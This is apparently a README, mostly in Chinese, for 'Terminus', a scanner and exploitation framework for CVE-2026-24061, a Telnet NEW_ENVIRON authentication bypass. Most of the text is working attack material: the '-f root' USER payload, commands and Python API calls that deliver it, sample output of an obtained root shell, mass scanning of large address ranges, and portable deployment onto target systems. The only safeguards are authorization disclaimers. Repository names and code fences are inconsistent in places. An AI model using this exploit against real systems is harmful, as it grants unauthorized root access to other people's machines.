AsyncIO 扫描器与利用框架,针对 CVE-2026-24061(Telnet NEW_ENVIRON 认证绕过)。具备高并发发现、被动指纹识别以及授权 root shell 提权功能。
针对 CVE-2026-24061 Telnet NEW_ENVIRON 认证绕过和权限提升漏洞的安全分析引擎。

Terminus 是一款专业安全研究工具,专为 CVE-2026-24061 的授权渗透测试和漏洞评估而设计。该严重漏洞影响遗留 Telnet 守护进程实现,允许未认证的远程攻击者绕过认证并获得 root 级访问权限。
CVE-2026-24061 是支持 RFC 1572(Telnet 环境选项)的 Telnet 服务中的远程代码执行漏洞。该漏洞利用 NEW_ENVIRON 子协商期间对 USER 环境变量消毒不当的问题:
USER=john → 提示输入密码USER=-f root → 绕过认证,授予 root shell影响:
受影响服务:
192.168.0.0/24、10.0.0.0/8)--verify):利用验证,确认 uid=0 root 访问Terminus.handshake() - RFC 854 合规握手Terminus.exploit() - CVE-2026-24061 载荷投递--exploit 标志Terminus 的核心是 TerminusNegotiator 类,它在协议处理和利用逻辑之间提供了清晰的分离:```python
from terminus import TerminusNegotiator
negotiator = TerminusNegotiator()
await negotiator.handshake(target="192.168.1.100", port=23)
result = await negotiator.exploit(payload="-f root")
if result.success: print(f"Root shell acquired: {result.evidence['uid']}")
### 引擎 vs. 脚本方法
**传统脚本**(现有工具):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell
Terminus 引擎:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report
---
## 安装
### 环境要求
- **Python 3.10+**
- **支持的平台:**
- Windows 10/11(PowerShell)
- Windows + WSL2(Kali Linux、Parrot OS、Ubuntu)
- 原生 Linux(Kali、Parrot、Ubuntu、Debian)
- macOS(需 Python 3.10+)
### 快速开始(所有平台)
#### Windows(PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
# Run setup script
.\setup_env.ps1
# Activate virtual environment
.venv\Scripts\Activate.ps1
# Verify installation
terminus --version
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406
chmod +x setup_env.sh ./setup_env.sh
source venv/bin/activate
terminus --version
#### 手动安装(所有平台)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406
# Create virtual environment
python3 -m venv venv
# Activate (Linux/macOS/WSL)
source venv/bin/activate
# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1
# Install dependencies
pip install -e .
# Verify
terminus --version
telnetlib3 - AsyncIO Telnet 协议实现rich - 终端界面与格式化(支持 Windows/Linux 上的 ANSI)pydantic - 数据验证与模型aiofiles - 异步文件 I/Ojinja2 - 报告模板生成pyyaml - 配置管理pathlib - 跨平台路径处理(内置)注意: 所有依赖均为纯 Python 或提供跨平台 wheel 包,无需平台特定的编译。
启用 Tab 补全以加快命令输入:
_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc
### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc
_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish
### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression
测试一下:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.
---
## 使用方法
### 扫描模式
#### 单目标扫描```bash
terminus scan -t 192.168.1.100
terminus scan -t 192.168.1.0/24
#### 基于文件的批量扫描```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500
terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200
### 检测模式
#### 被动检测(默认 - 安全)```bash
terminus scan -t target.com --passive-only
terminus scan -t target.com --aggressive
#### 主动验证模式(漏洞利用证明)```bash
terminus scan -t 192.168.1.100 --verify
检查版本:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db
**被动扫描(默认 - 保守风险评估):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Parsing 1 targets...
Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00
╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061 │
│ Total Targets: 1 │
│ Scanned: 1 │
│ Failed: 0 │
│ Timeouts: 0 │
│ │
│ Vulnerability Breakdown: │
│ Critical: 0 │
│ High: 0 │
│ Medium: 0 │
│ Low: 1 │
│ Info: 0 │
│ │
│ Duration: 3.53s │
│ Avg Scan Time: 3522.22ms │
│ │
╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low │ unknown │ Unknown │ YES │ - │ 3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
No vulnerable targets found
使用 --verify 进行主动验证(漏洞利用证明):```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify
Parsing 1 targets... Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00
╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
Found 1 vulnerable targets!
**交互式利用:**```powershell
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Attempting exploitation of 172.17.45.122:2323...
Payload: -f root
CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained
[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit
whoami
root
┌──[root@parrot]─[~]
└──╼ #
关键观察:
功能说明:
-f root 载荷尝试实际利用uid=0 确认 root 访问权限使用场景:
示例输出:``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A
**批量验证:**```bash
terminus scan -f targets.txt --verify -o json -w verified_results.json
注意: 主动验证会尝试利用漏洞。仅在获得适当授权的情况下使用。
terminus scan -t 192.168.1.0/24 -o json > results.json
#### HTML 报告```bash
terminus scan -f targets.txt -o html -w report.html
terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv
### 利用(仅限授权使用)
#### 交互式 Shell```bash
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target
terminus exploit -t 192.168.1.100 -c "id"
#### 自定义载荷```bash
terminus exploit -t 192.168.1.100 --payload "-f admin"
terminus update-signatures
#### 验证先前结果```bash
terminus verify -f results.json
terminus version
---
## 测试环境搭建
### 针对红队:跨平台部署
**Terminus 专为便携式部署而设计** —— 将目录复制到任意 Windows/Linux 系统即可直接运行,无需安装:```bash
# Copy terminus directory to target system
# No hardcoded paths - everything is relative
# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24
# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml
推荐用于 Windows 红队工作站 - 用于部署易受攻击测试服务的隔离 Linux 环境:
wsl --install
wsl --install -d kali-linux
wsl -l -v
#### 在 WSL2 内部(Kali/Parrot)```bash
# Update system
sudo apt update && sudo apt upgrade -y
# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv
# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump
# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate
警告:仅在隔离的实验环境中使用。切勿在生产系统上使用。```bash
sudo apt install netkit-telnetd=0.17-*
sudo systemctl restart inetd
### 跨平台测试矩阵
在红队使用的所有平台上测试 Terminus:
| 平台 | 安装 | 扫描 | 漏洞利用 |
|----------|-------------|----------|--------------|
| Windows 10/11 (PowerShell) | 是 | 是 | 是 |
| WSL2 - Kali Linux | 是 | 是 | 是 |
| WSL2 - Parrot OS | 是 | 是 | 是 |
| WSL2 - Ubuntu | 是 | 是 | 是 |
| 原生 Kali Linux | 是 | 是 | 是 |
| 原生 Parrot OS | 是 | 是 | 是 |
| macOS | 是 | 是 | 是 |
---
## API 参考
### Python 集成```python
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore
async def scan_network():
# High-level scanner
async with TerminusScanner() as scanner:
async for result in scanner.scan_targets(["192.168.1.0/24"]):
if result.risk_score == RiskScore.CRITICAL:
print(f"CRITICAL: {result.target}")
print(f" Daemon: {result.daemon_type} {result.version}")
print(f" Confidence: {result.vulnerability_confidence:.2%}")
async def exploit_target():
# Direct engine usage
negotiator = TerminusNegotiator()
# Handshake
success = await negotiator.handshake(target="192.168.1.100", port=23)
if not success:
print("Handshake failed")
return
# Exploit
result = await negotiator.exploit(payload="-f root")
if result.success:
print(f"Root access obtained")
print(f"Evidence: {result.evidence}")
# Run
asyncio.run(scan_network())
本工具仅适用于:
未经授权的使用属于违法行为,且不符合道德规范。
--exploit 标志如果您使用 Terminus 发现易受攻击的系统:
所有路径均相对于项目根目录——无需修改即可在 Windows、Linux 和 WSL 上运行:```yaml
scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second
detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true
signatures_db: "./signatures.db"
exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true
reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"
output_dir: "./reports"
logging: level: "INFO"
file: "./logs/terminus.log" format: "json" console_enabled: true